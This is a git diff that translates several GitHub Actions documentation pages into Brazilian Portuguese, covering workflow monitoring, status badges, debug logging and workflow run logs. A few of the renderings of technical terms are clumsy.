-## Examples of common tasks
+## Exemplos de tarefas comuns
 
-This section compares how {% data variables.product.prodname_actions %} and Travis CI perform common tasks.
+Esta seção compara como {% data variables.product.prodname_actions %} e o Travis CI realizam tarefas comuns.
 
-### Configuring environment variables
+### Configurar variáveis de ambiente
 
-You can create custom environment variables in a {% data variables.product.prodname_actions %} job. For example:
+Você pode criar variáveis de ambiente personalizadas em uma tarefa de {% data variables.product.prodname_actions %}. Por exemplo:
 
 <table>
 <tr>
@@ -354,7 +353,7 @@ You can create custom environment variables in a {% data variables.product.prodn
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Fluxo de trabalho do {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -379,7 +378,7 @@ jobs:
 </tr>
 </table>
 
-### Building with Node.js
+### Criar com Node.js
 
 <table>
 <tr>
@@ -387,7 +386,7 @@ jobs:
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Fluxo de trabalho do {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -425,6 +424,6 @@ jobs:
 </tr>
 </table>
 
-## Next steps
+## Próximas etapas
 
-To continue learning about the main features of  {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Para continuar aprendendo sobre os principais recursos de {% data variables.product.prodname_actions %}, consulte "[Aprender {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
index 116c5b3072..9bd78fdf42 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
@@ -1,72 +1,72 @@
 ---
-title: About monitoring and troubleshooting
-intro: 'You can use the tools in {% data variables.product.prodname_actions %} to monitor and debug your workflows.'
+title: Sobre monitoramento e solução de problemas
+intro: 'Você pode utilizar as ferramentas em {% data variables.product.prodname_actions %} para monitorar e depurar seus fluxos de trabalho.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: About monitoring and troubleshooting
+shortTitle: Sobre monitoramento e solução de problemas
 miniTocMaxHeadingLevel: 3
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Monitoring your workflows
+## Monitorando seus fluxos de trabalho
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-### Using the visualization graph
+### Usar o gráfico de visualização
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. For example:
+Cada execução de fluxo de trabalho gera um gráfico em tempo real que ilustra o progresso da execução. Você pode usar este gráfico para monitorar e depurar fluxos de trabalho. Por exemplo:
 
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+   ![Gráfico de fluxo de trabalho](/assets/images/help/images/workflow-graph.png)
 
-For more information, see "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)." 
+Para obter mais informações, consulte "[Usar o gráfico de visualização](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)".
 
 {% endif %}
 
-### Adding a workflow status badge
+### Adicionar um selo de status de fluxo de trabalho
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-For more information, see "[Adding a workflow status badge](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge)."
+Para obter mais informações, consulte "[Adicionando um selo de status do fluxo de trabalho](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge)".
 
 {% ifversion fpt or ghec %}
-### Viewing job execution time
+### Visualizar o tempo de execução do trabalho
 
-To identify how long a job took to run, you can view its execution time. For example:
+Para identificar quanto tempo um trabalho levou para ser executado, você pode ver seu tempo de execução. Por exemplo:
 
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+   ![Link com informações sobre o tempo faturável e execução](/assets/images/help/repository/view-run-billable-time.png)
 
-For more information, see "[Viewing job execution time](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)."
+Para obter mais informações, consulte "[Visualizar o tempo de execução do trabalho](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)".
 {% endif %}
 
-### Viewing workflow run history
+### Visualizar o histórico de execução do fluxo de trabalho
 
-You can view the status of each job and step in a workflow. For example:
+Você pode visualizar o status de cada trabalho e etapa de um fluxo de trabalho. Por exemplo:
 
-   ![Name of workflow run](/assets/images/help/repository/run-name.png)
+   ![Nome da execução do fluxo de trabalho](/assets/images/help/repository/run-name.png)
 
-For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)".
 
-## Troubleshooting your workflows
+## Solucionando problemas dos seus fluxos de trabalho
 
-### Using workflow run logs
+### Usar registros de execução do fluxo de trabalho
 
-Each workflow run generates activity logs that you can view, search, and download. For example:
+A execução de cada fluxo de trabalho gera registros de atividade que você pode visualizar, pesquisar e baixar. Por exemplo:
 
-   ![Super linter workflow results](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
+   ![Resultados do fluxo de trabalho do Super linter](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
 
-For more information, see "[Using workflow run logs](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)."
+Para obter mais informações, consulte "[Usar registros de execução do fluxo de trabalho](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)".
 
-### Enabling debug logging
+### Habilitar log de depuração
 
-If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging. For more information, see "[Enabling debug logging](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."
+Se os logs do fluxo de trabalho não fornecerem detalhes suficientes para diagnosticar o motivo pelo qual um fluxo de trabalho, um trabalho ou uma etapa não está funcionando como esperado, habilite o log de depuração adicional. Para obter mais informações, consulte "[Habilitar o registro de depuração](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)".
 
-## Monitoring and troubleshooting self-hosted runners
+## Monitoramento e resolução de problemas dos executores auto-hospedados
 
-If you use self-hosted runners, you can view their activity and diagnose common issues. 
+Se você usar executores auto-hospedados, você poderá ver a atividade deles e diagnosticar problemas comuns.
 
-For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+Para obter mais informações, consulte "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
index da7ac4443b..2cd740dc73 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a workflow status badge
-intro: You can display a status badge in your repository to indicate the status of your workflows.
+title: Adicionar um selo de status de fluxo de trabalho
+intro: Você pode exibir um selo de status no seu repositório para indicar o status dos seus fluxos de trabalho.
 redirect_from:
   - /actions/managing-workflow-runs/adding-a-workflow-status-badge
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Add a status badge
+shortTitle: Adicionar um selo de status
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -16,30 +16,30 @@ shortTitle: Add a status badge
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-You reference the workflow by the name of your workflow file.
+Você faz referência ao fluxo de trabalho pelo nome do seu arquivo de fluxo de trabalho.
 
 ```markdown
 ![example workflow]({% ifversion fpt or ghec %}https://github.com{% else %}<HOSTNAME>{% endif %}/<OWNER>/<REPOSITORY>/actions/workflows/<WORKFLOW_FILE>/badge.svg)
 ```
-## Using the workflow file name
+## Usar o nome do arquivo do fluxo de trabalho
 
-This Markdown example adds a status badge for a workflow with the file path `.github/workflows/main.yml`. The `OWNER` of the repository is the `github` organization and the `REPOSITORY` name is `docs`.
+Este exemplo de Markdown adiciona um crachá de status para um fluxo de trabalho com o caminho do arquivo `.github/workflows/main.yml`. O `PROPRIETÁRIO` do repositório é a organização do `github` e o nome do `REPOSITÓRIO` é `docs`.
 
 ```markdown
-![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
+![fluxo de trabalho de exemplo](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 ```
 
-## Using the `branch` parameter
+## Usando o parâmetro `branch`
 
-This Markdown example adds a status badge for a branch with the name `feature-1`.
+Este exemplo de Markdown adiciona um crachá de status para uma filial com o nome `recurso-1`.
 
 ```markdown
 ![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1)
 ```
 
-## Using the `event` parameter
+## Usar o parâmetro `evento`
 
-This Markdown example adds a badge that displays the status of workflow runs triggered by the `push` event, which will show the status of the build for the current state of that branch.
+Esse exemplo de Markdown adiciona um selo que exibe o status das execuções do fluxo de trabalho acionadas pelo evento `push`, que mostrará o status da criação para o estado atual desse branch.
 
 ```markdown
 ![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=push)
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
index faede007bc..8a8a537a05 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling debug logging
-intro: 'If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging.'
+title: Habilitar log de depuração
+intro: 'Se os logs do fluxo de trabalho não fornecerem detalhes suficientes para diagnosticar o motivo pelo qual um fluxo de trabalho, um trabalho ou uma etapa não está funcionando como esperado, habilite o log de depuração adicional.'
 redirect_from:
   - /actions/managing-workflow-runs/enabling-debug-logging
 versions:
@@ -13,7 +13,7 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-These extra logs are enabled by setting secrets in the repository containing the workflow, so the same permissions requirements will apply:
+Esses registros adicionais são habilitados pela definição dos segredos no repositório que contém o fluxo de trabalho. Portanto, aplicam-se os mesmos requisitos de permissão:
 
 - {% data reusables.github-actions.permissions-statement-secrets-repository %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
@@ -22,23 +22,23 @@ These extra logs are enabled by setting secrets in the repository containing the
 - {% data reusables.github-actions.permissions-statement-secrets-organization %}
 - {% data reusables.github-actions.permissions-statement-secrets-api %}
 
-For more information on setting secrets, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Para obter mais informações sobre segredos de configuração, consulte "[Criar e usar segredos criptografados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Enabling runner diagnostic logging
+## Habilitar log de diagnóstico do runner
 
-Runner diagnostic logging provides additional log files that contain information about how a runner is executing a job. Two extra log files are added to the log archive:
+O log de diagnóstico do executor fornece arquivos de log adicionais que contêm informações sobre como um executor está executando um trabalho. Dois arquivos de log extras foram adicionados ao arquivo de log:
 
-* The runner process log, which includes information about coordinating and setting up runners to execute jobs.
-* The worker process log, which logs the execution of a job.
+* O log de processo do runner, que inclui informações sobre a coordenação e a configuração de runners para executar trabalhos.
+* O log de processo do worker, que registra em log a execução de um trabalho.
 
-1. To enable runner diagnostic logging, set the following secret in the repository that contains the workflow: `ACTIONS_RUNNER_DEBUG` to `true`.
+1. Para habilitar o log de diagnóstico do runner, defina a seguinte chave secreta no repositório que contém o fluxo de trabalho: `ACTIONS_RUNNER_DEBUG` como `true`.
 
-1. To download runner diagnostic logs, download the log archive of the workflow run. The runner diagnostic logs are contained in the `runner-diagnostic-logs` folder. For more information on downloading logs, see "[Downloading logs](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)."
+1. Para baixar os logs de diagnóstico do runner, baixe o arquivo de log da execução de fluxo de trabalho. Os logs de diagnóstico do runner ficam na pasta `runner-diagnostic-logs`. Para obter mais informações sobre o download de logs, consulte "[Fazer download de registros](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)".
 
-## Enabling step debug logging
+## Habilitar log de depuração da etapa
 
-Step debug logging increases the verbosity of a job's logs during and after a job's execution.
+O log de depuração da etapa aumenta o detalhamento dos logs de um trabalho durante e depois da execução dele.
 
-1. To enable step debug logging, you must set the following secret in the repository that contains the workflow: `ACTIONS_STEP_DEBUG` to `true`.
+1. Para habilitar o log de diagnóstico da etapa, defina a seguinte chave secreta no repositório que contém o fluxo de trabalho: `ACTIONS_STEP_DEBUG` como `true`.
 
-1. After setting the secret, more debug events are shown in the step logs. For more information, see ["Viewing logs to diagnose failures"](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures).
+1. Após a configuração da chave secreta, mais eventos de depuração são exibidos nos logs da etapa. Para obter mais informações, consulte ["Exibir logs para diagnosticar falhas"](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures).
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/index.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/index.md
index 1c7b12c155..087b41b848 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/index.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/index.md
@@ -1,7 +1,7 @@
 ---
-title: Monitoring and troubleshooting workflows
-shortTitle: Monitor & troubleshoot
-intro: 'You can view the status and results of each step in your workflow, debug a failed workflow, search and download logs, and view billable job execution minutes.'
+title: Monitoramento e solução de problemas
+shortTitle: Monitorar & solucionar problemas
+intro: 'Você pode visualizar o status e os resultados de cada etapa do seu fluxo de trabalho, depurar um fluxo de trabalho com falha, pesquisar e fazer o download de registros e ver as minutas de execução de trabalhos faturáveis.'
 redirect_from:
   - /articles/viewing-your-repository-s-workflows
   - /articles/viewing-your-repositorys-workflows
@@ -20,5 +20,6 @@ children:
   - /enabling-debug-logging
   - /notifications-for-workflow-runs
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
index 862e2cca8d..b75f591c3b 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
@@ -1,12 +1,12 @@
 ---
-title: Notifications for workflow runs
-intro: You can subscribe to notifications about workflow runs that you trigger.
+title: Notificações para execução de fluxo de trabalho
+intro: Você pode assinar as notificações sobre execuções do fluxo de trabalho que você acionar.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Notifications
+shortTitle: Notificações
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
index 1b11253aaf..fbf315e4a5 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
@@ -1,6 +1,6 @@
 ---
-title: Using the visualization graph
-intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows.
+title: Usar o gráfico de visualização
+intro: Cada execução de fluxo de trabalho gera um gráfico em tempo real que ilustra o progresso da execução. Você pode usar este gráfico para monitorar e depurar fluxos de trabalho.
 redirect_from:
   - /actions/managing-workflow-runs/using-the-visualization-graph
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '>=3.1'
   ghae: '*'
   ghec: '*'
-shortTitle: Use the visualization graph
+shortTitle: Usar o gráfico de visualização
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -19,8 +19,6 @@ shortTitle: Use the visualization graph
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 
-1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+1. O gráfico exibe cada trabalho no fluxo de trabalho. Um ícone à esquerda do nome do trabalho indica o status do trabalho. As linhas entre as trabalhos indicam dependências. ![Gráfico de fluxo de trabalho](/assets/images/help/images/workflow-graph.png)
 
-2. Click on a job to view the job log.
-   ![Workflow graph](/assets/images/help/images/workflow-graph-job.png)
+2. Clique em um trabalho para visualizar o registro da tarefa. ![Gráfico de fluxo de trabalho](/assets/images/help/images/workflow-graph-job.png)
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
index dd021c9b38..596b0bba63 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Using workflow run logs
-intro: 'You can view, search, and download the logs for each job in a workflow run.'
+title: Usar registros de execução do fluxo de trabalho
+intro: 'Você pode visualizar, pesquisar e fazer download dos logs para cada trabalho em uma execução de fluxo de trabalho.'
 redirect_from:
   - /actions/managing-workflow-runs/using-workflow-run-logs
 versions:
@@ -13,21 +13,21 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-You can see whether a workflow run is in progress or complete from the workflow run page. You must be logged in to a {% data variables.product.prodname_dotcom %} account to view workflow run information, including for public repositories. For more information, see "[Access permissions on GitHub](/articles/access-permissions-on-github)."
+Na página de execução de fluxo de trabalho, você pode verificar se a execução está em andamento ou foi concluída. Você deve estar conectado a uma conta {% data variables.product.prodname_dotcom %} para visualizar as informações da execução do seu fluxo de trabalho, incluindo os repositórios públicos. Para obter mais informações, consulte "[Permissões de acesso no GitHub](/articles/access-permissions-on-github)".
 
-If the run is complete, you can see whether the result was a success, failure, canceled, or neutral. If the run failed, you can view and search the build logs to diagnose the failure and re-run the workflow. You can also view billable job execution minutes, or download logs and build artifacts.
+Se a execução estiver concluída, será possível ver se o resultado teve êxito, se houve falha, se foi cancelado ou se ficou neutro. Em caso de falha, você poderá exibir e pesquisar os logs de criação para diagnosticar a falha e executar o fluxo de trabalho novamente. Você também pode visualizar os minutos da execução do trabalho faturável ou fazer o download dos registros e criar artefatos.
 
-{% data variables.product.prodname_actions %} use the Checks API to output statuses, results, and logs for a workflow. {% data variables.product.prodname_dotcom %} creates a new check suite for each workflow run. The check suite contains a check run for each job in the workflow, and each job includes steps. {% data variables.product.prodname_actions %} are run as a step in a workflow. For more information about the Checks API, see "[Checks](/rest/reference/checks)."
+O {% data variables.product.prodname_actions %} usa a API de Verificação para mostrar os status, resultados e logs de um fluxo de trabalho. O {% data variables.product.prodname_dotcom %} cria um novo conjunto de verificações para cada execução de fluxo de trabalho. O conjunto de verificações contêm uma execução de verificação para cada trabalho no fluxo de trabalho, e cada trabalho inclui etapas. As ações do {% data variables.product.prodname_actions %} são executadas como etapas no fluxo de trabalho. Para obter mais informações sobre a API de verificações, consulte "[Verificações](/rest/reference/checks)".
 
 {% data reusables.github-actions.invalid-workflow-files %}
 
-## Viewing logs to diagnose failures
+## Exibir logs para diagnosticar falhas
 
-If your workflow run fails, you can see which step caused the failure and review the failed step's build logs to troubleshoot. You can see the time it took for each step to run. You can also copy a permalink to a specific line in the log file to share with your team. {% data reusables.repositories.permissions-statement-read %}
+Se houver falha na execução do fluxo de trabalho, você poderá ver qual etapa causou a falha e revisar os logs de criação da etapa com falha para resolver os problemas. Também é possível ver a duração da execução de cada etapa. Além disso, você pode copiar um permalink para determinada linha no arquivo de log a fim de compartilhar com a sua equipe. {% data reusables.repositories.permissions-statement-read %}
 
-In addition to the steps configured in the workflow file, {% data variables.product.prodname_dotcom %} adds two additional steps to each job to set up and complete the job's execution. These steps are logged in the workflow run with the names "Set up job" and "Complete job".
+Além das etapas configuradas no arquivo do fluxo de trabalho, {% data variables.product.prodname_dotcom %} acrescenta duas etapas adicionais a cada trabalho para configurar e concluir a execução do trabalho. Estas etapas estão registradas na execução do fluxo de trabalho com os nomes "Configurar trabalho" e "Concluir trabalho".
 
-For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Set up job" records details of the runner's virtual environment, and includes a link to the list of preinstalled tools that were present on the runner machine.
+Para trabalhos executados em executores hospedados no {% data variables.product.prodname_dotcom %}, "Configurar trabalho" registra os detalhes do ambiente virtual do executor e inclui um link para a lista de ferramentas pré-instaladas que estavam presentes na máquina do executor.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -37,83 +37,83 @@ For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Se
 {% data reusables.repositories.view-failed-job-results-superlinter %}
 {% data reusables.repositories.view-specific-line-superlinter %}
 
-## Searching logs
+## Pesquisar logs
 
-You can search the build logs for a particular step. When you search logs, only expanded steps are included in the results. {% data reusables.repositories.permissions-statement-read %}
+É possível pesquisar os logs de criação em determinadas etapas. Na pesquisa dos logs, somente as etapas expandidas são incluídas nos resultados. {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
 {% data reusables.repositories.navigate-to-job-superlinter %}
-1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query.
+1. No canto superior direito da saída do log, na caixa **Search logs** (Pesquisar logs), digite um termo de consulta.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated-2.png)
+  ![Caixa de pesquisa de logs](/assets/images/help/repository/search-log-box-updated-2.png)
 {% else %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated.png)
+  ![Caixa de pesquisa de logs](/assets/images/help/repository/search-log-box-updated.png)
 {% endif %}
 
-## Downloading logs
+## Fazer download dos registros
 
-You can download the log files from your workflow run. You can also download a workflow's artifacts. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." {% data reusables.repositories.permissions-statement-read %}
+Você pode fazer o download dos arquivos de registro da execução do seu fluxo de trabalho. Você também pode fazer o download dos artefatos de um fluxo de trabalho. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)". {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
 {% data reusables.repositories.navigate-to-job-superlinter %}
-1. In the upper right corner, click {% ifversion fpt or ghes > 3.0 or ghae or ghec %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**.
+1. No canto superior direito, clique em {% ifversion fpt or ghes > 3.0 or ghae or ghec %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} e selecione **Fazer download do arquivo de registro**.
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
+  ![Menu suspenso Download logs (Baixar logs)](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
   {% else %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated.png)
+  ![Menu suspenso Download logs (Baixar logs)](/assets/images/help/repository/download-logs-drop-down-updated.png)
   {% endif %}
 
-## Deleting logs
+## Excluir registros
 
-You can delete the log files from your workflow run. {% data reusables.repositories.permissions-statement-write %}
+Você pode excluir arquivos de registro da execução do seu fluxo de trabalho. {% data reusables.repositories.permissions-statement-write %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
-1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+1. No canto superior direito, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
+    ![Ícone horizontal do kebab](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
     {% else %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
+    ![Ícone horizontal do kebab](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
     {% endif %}
-2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. 
+2. Para excluir os arquivos de registro, clique no botão **Excluir todos os registros** e revise a instrução de confirmação.
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated-2.png)
+  ![Excluir todos os registros](/assets/images/help/repository/delete-all-logs-updated-2.png)
   {% else %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated.png)
+  ![Excluir todos os registros](/assets/images/help/repository/delete-all-logs-updated.png)
   {% endif %}
-After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run.
+Após excluir os registros, o botão **Excluir todos os registros** será removido para indicar que nenhum arquivo de registro permaneça na execução do fluxo de trabalho.
 
-## Viewing logs with {% data variables.product.prodname_cli %}
+## Visualizar registros com {% data variables.product.prodname_cli %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To view the log for a specific job, use the `run view` subcommand. Replace `run-id` with the ID of run that you want to view logs for. {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a job from the run. If you don't specify `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run, and then returns another interactive menu for you to choose a job from the run.
+Para visualizar o registro para uma tarefa específica, use o subcomando `executar a vista`. Substitua `run-id` pelo ID da execução que você deseja visualizar os registros. {% data variables.product.prodname_cli %} retorna um menu interativo para você escolher um trabalho a partir da execução. Se você não especificar `run-id`, {% data variables.product.prodname_cli %} irá retornar um menu interativo para você escolher uma execução recente e, em seguida, irá retornar outro menu interativo para você escolher um trabalho da execução.
 
 ```shell
 gh run view <em>run-id</em> --log
 ```
 
-You can also use the `--job` flag to specify a job ID. Replace `job-id` with the ID of the job that you want to view logs for.
+Você também pode usar o sinalizador `--job` para especificar um ID de trabalho. Substitua `job-id` pelo ID do trabalho para o qual você deseja exibir os registros.
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-You can use `grep` to search the log. For example, this command will return all log entries that contain the word `error`.
+Você pode usar `grep` para pesquisar o registro. Por exemplo, este comando retornará todas as entradas do registro que contêm a palavra `erro`.
 
 ```shell
 gh run view --job <em>job-id</em> --log | grep error
 ```
 
-To filter the logs for any failed steps, use `--log-failed` instead of `--log`.
+Para filtrar os registros para quaisquer etapas que falharam, use `--log-failed` em vez de `--log`.
 
 ```shell
 gh run view --job <em>job-id</em> --log-failed
diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
index f45197dc21..d79493d8b4 100644
--- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
+++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
@@ -1,28 +1,27 @@
 ---
-title: Viewing job execution time
-intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.'
+title: Visualizar o tempo de execução do trabalho
+intro: 'Você pode visualizar o tempo de execução de um trabalho, incluindo os minutos faturáveis que um trabalho acumulou.'
 redirect_from:
   - /actions/managing-workflow-runs/viewing-job-execution-time
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: View job execution time
+shortTitle: Visualizar tempo de execução do trabalho
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners.
